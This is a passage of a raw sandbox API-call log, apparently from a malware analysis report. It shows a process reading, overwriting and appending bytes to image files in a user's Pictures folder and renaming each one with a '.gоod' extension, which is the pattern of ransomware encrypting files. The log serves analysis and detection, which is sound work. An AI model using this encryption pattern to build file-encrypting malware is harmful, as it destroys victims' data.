"c:\\users\\fd1hvy\\pictures\\nqcf.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0168.056] GetFileType (hFile=0x810) returned 0x1 [0168.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0168.056] GetFileType (hFile=0x810) returned 0x1 [0168.056] WriteFile (in: hFile=0x810, lpBuffer=0x33ece28*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x33ece28*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0168.056] CloseHandle (hObject=0x810) returned 1 [0168.056] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg", lpFilePart=0x0) returned 0x21 [0168.056] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg.gоod", lpFilePart=0x0) returned 0x26 [0168.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0168.056] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\nqcf.jpg"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63f657c0, ftCreationTime.dwHighDateTime=0x1d4c5dd, ftLastAccessTime.dwLowDateTime=0x70051540, ftLastAccessTime.dwHighDateTime=0x1d4ca76, ftLastWriteTime.dwLowDateTime=0x6062d869, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3cc9)) returned 1 [0168.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0168.056] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\nqcf.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\NQcf.jpg.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\nqcf.jpg.gоod")) returned 1 [0168.057] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg", lpFilePart=0x0) returned 0x31 [0168.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0168.057] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\oe15hpldzxbf1ra_uldc.jpg"), fInfoLevelId=0x0, lpFileInformation=0x35e49b0 | out: lpFileInformation=0x35e49b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d651660, ftCreationTime.dwHighDateTime=0x1d4cedf, ftLastAccessTime.dwLowDateTime=0x596c62f0, ftLastAccessTime.dwHighDateTime=0x1d4d202, ftLastWriteTime.dwLowDateTime=0x596c62f0, ftLastWriteTime.dwHighDateTime=0x1d4d202, nFileSizeHigh=0x0, nFileSizeLow=0x14754)) returned 1 [0168.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0168.057] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg", lpFilePart=0x0) returned 0x31 [0168.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0168.057] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\oe15hpldzxbf1ra_uldc.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0168.057] GetFileType (hFile=0x810) returned 0x1 [0168.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0168.058] GetFileType (hFile=0x810) returned 0x1 [0168.058] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0168.058] ReadFile (in: hFile=0x810, lpBuffer=0x35e4da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x35e4da8*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0168.058] CloseHandle (hObject=0x810) returned 1 [0168.058] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg", lpFilePart=0x0) returned 0x31 [0168.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0168.058] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\oe15hpldzxbf1ra_uldc.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0168.058] GetFileType (hFile=0x810) returned 0x1 [0168.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0168.058] GetFileType (hFile=0x810) returned 0x1 [0168.058] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x14754 [0168.058] WriteFile (in: hFile=0x810, lpBuffer=0x35e6030*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x35e6030*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0168.058] CloseHandle (hObject=0x810) returned 1 [0168.059] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg", lpFilePart=0x0) returned 0x31 [0168.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0168.059] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\oe15hpldzxbf1ra_uldc.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0168.059] GetFileType (hFile=0x810) returned 0x1 [0168.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0168.059] GetFileType (hFile=0x810) returned 0x1 [0168.059] ReadFile (in: hFile=0x810, lpBuffer=0x35e82e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x35e82e0*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0168.440] CloseHandle (hObject=0x810) returned 1 [0168.440] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg", lpFilePart=0x0) returned 0x31 [0168.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0168.440] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\oe15hpldzxbf1ra_uldc.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0168.441] GetFileType (hFile=0x810) returned 0x1 [0168.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0168.441] GetFileType (hFile=0x810) returned 0x1 [0168.441] WriteFile (in: hFile=0x810, lpBuffer=0x341b858*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x341b858*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0168.441] CloseHandle (hObject=0x810) returned 1 [0168.441] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg", lpFilePart=0x0) returned 0x31 [0168.441] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg.gоod", lpFilePart=0x0) returned 0x36 [0168.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0168.441] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\oe15hpldzxbf1ra_uldc.jpg"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d651660, ftCreationTime.dwHighDateTime=0x1d4cedf, ftLastAccessTime.dwLowDateTime=0x596c62f0, ftLastAccessTime.dwHighDateTime=0x1d4d202, ftLastWriteTime.dwLowDateTime=0x609c11be, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x14764)) returned 1 [0168.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0168.441] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\oe15hpldzxbf1ra_uldc.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\oe15HPldZxBF1rA_uldC.jpg.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\oe15hpldzxbf1ra_uldc.jpg.gоod")) returned 1 [0168.442] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png", lpFilePart=0x0) returned 0x2b [0168.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0168.442] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ojmaky38mq0t5w.png"), fInfoLevelId=0x0, lpFileInformation=0x35d0ac0 | out: lpFileInformation=0x35d0ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56983230, ftCreationTime.dwHighDateTime=0x1d4cc4d, ftLastAccessTime.dwLowDateTime=0x30161500, ftLastAccessTime.dwHighDateTime=0x1d4c694, ftLastWriteTime.dwLowDateTime=0x30161500, ftLastWriteTime.dwHighDateTime=0x1d4c694, nFileSizeHigh=0x0, nFileSizeLow=0x8db5)) returned 1 [0168.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0168.442] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png", lpFilePart=0x0) returned 0x2b [0168.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0168.442] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ojmaky38mq0t5w.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0168.442] GetFileType (hFile=0x810) returned 0x1 [0168.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0168.443] GetFileType (hFile=0x810) returned 0x1 [0168.443] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0168.443] ReadFile (in: hFile=0x810, lpBuffer=0x35d0e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x35d0e78*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0168.443] CloseHandle (hObject=0x810) returned 1 [0168.443] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png", lpFilePart=0x0) returned 0x2b [0168.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0168.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ojmaky38mq0t5w.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0168.443] GetFileType (hFile=0x810) returned 0x1 [0168.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0168.443] GetFileType (hFile=0x810) returned 0x1 [0168.443] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x8db5 [0168.443] WriteFile (in: hFile=0x810, lpBuffer=0x35d20e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x35d20e0*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0168.443] CloseHandle (hObject=0x810) returned 1 [0168.444] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png", lpFilePart=0x0) returned 0x2b [0168.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0168.444] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ojmaky38mq0t5w.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0168.444] GetFileType (hFile=0x810) returned 0x1 [0168.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0168.444] GetFileType (hFile=0x810) returned 0x1 [0168.444] ReadFile (in: hFile=0x810, lpBuffer=0x35d4370, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x35d4370*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0169.235] CloseHandle (hObject=0x810) returned 1 [0169.235] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png", lpFilePart=0x0) returned 0x2b [0169.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0169.235] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ojmaky38mq0t5w.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0169.236] GetFileType (hFile=0x810) returned 0x1 [0169.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0169.236] GetFileType (hFile=0x810) returned 0x1 [0169.236] WriteFile (in: hFile=0x810, lpBuffer=0x342f6c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x342f6c0*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0169.236] CloseHandle (hObject=0x810) returned 1 [0169.236] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png", lpFilePart=0x0) returned 0x2b [0169.236] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png.gоod", lpFilePart=0x0) returned 0x30 [0169.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0169.236] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ojmaky38mq0t5w.png"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56983230, ftCreationTime.dwHighDateTime=0x1d4cc4d, ftLastAccessTime.dwLowDateTime=0x30161500, ftLastAccessTime.dwHighDateTime=0x1d4c694, ftLastWriteTime.dwLowDateTime=0x6114d32c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8dc5)) returned 1 [0169.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0169.236] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ojmaky38mq0t5w.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\oJMAky38Mq0T5w.png.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\ojmaky38mq0t5w.png.gоod")) returned 1 [0169.237] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png", lpFilePart=0x0) returned 0x24 [0169.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0169.237] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png" (normalized: "c:\\users\\fd1hvy\\pictures\\pnihgbm.png"), fInfoLevelId=0x0, lpFileInformation=0x37aa6f8 | out: lpFileInformation=0x37aa6f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d40f60, ftCreationTime.dwHighDateTime=0x1d4d1ab, ftLastAccessTime.dwLowDateTime=0xcf71c0e0, ftLastAccessTime.dwHighDateTime=0x1d4cf7c, ftLastWriteTime.dwLowDateTime=0xcf71c0e0, ftLastWriteTime.dwHighDateTime=0x1d4cf7c, nFileSizeHigh=0x0, nFileSizeLow=0x17894)) returned 1 [0169.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0169.237] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png", lpFilePart=0x0) returned 0x24 [0169.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0169.238] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png" (normalized: "c:\\users\\fd1hvy\\pictures\\pnihgbm.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0169.238] GetFileType (hFile=0x810) returned 0x1 [0169.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0169.238] GetFileType (hFile=0x810) returned 0x1 [0169.238] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0169.238] ReadFile (in: hFile=0x810, lpBuffer=0x37aaa80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x37aaa80*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0169.238] CloseHandle (hObject=0x810) returned 1 [0169.238] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png", lpFilePart=0x0) returned 0x24 [0169.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0169.238] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png" (normalized: "c:\\users\\fd1hvy\\pictures\\pnihgbm.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0169.238] GetFileType (hFile=0x810) returned 0x1 [0169.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0169.239] GetFileType (hFile=0x810) returned 0x1 [0169.239] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x17894 [0169.239] WriteFile (in: hFile=0x810, lpBuffer=0x37abcd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x37abcd0*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0169.239] CloseHandle (hObject=0x810) returned 1 [0169.239] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png", lpFilePart=0x0) returned 0x24 [0169.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0169.239] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png" (normalized: "c:\\users\\fd1hvy\\pictures\\pnihgbm.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0169.239] GetFileType (hFile=0x810) returned 0x1 [0169.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0169.239] GetFileType (hFile=0x810) returned 0x1 [0169.239] ReadFile (in: hFile=0x810, lpBuffer=0x37adf48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x37adf48*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0170.034] CloseHandle (hObject=0x810) returned 1 [0170.034] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png", lpFilePart=0x0) returned 0x24 [0170.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0170.034] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png" (normalized: "c:\\users\\fd1hvy\\pictures\\pnihgbm.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0170.034] GetFileType (hFile=0x810) returned 0x1 [0170.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0170.034] GetFileType (hFile=0x810) returned 0x1 [0170.034] WriteFile (in: hFile=0x810, lpBuffer=0x347af88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x347af88*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0170.035] CloseHandle (hObject=0x810) returned 1 [0170.035] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png", lpFilePart=0x0) returned 0x24 [0170.035] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png.gоod", lpFilePart=0x0) returned 0x29 [0170.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0170.035] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png" (normalized: "c:\\users\\fd1hvy\\pictures\\pnihgbm.png"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d40f60, ftCreationTime.dwHighDateTime=0x1d4d1ab, ftLastAccessTime.dwLowDateTime=0xcf71c0e0, ftLastAccessTime.dwHighDateTime=0x1d4cf7c, ftLastWriteTime.dwLowDateTime=0x618f33e0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x178a4)) returned 1 [0170.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0170.035] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png" (normalized: "c:\\users\\fd1hvy\\pictures\\pnihgbm.png"), 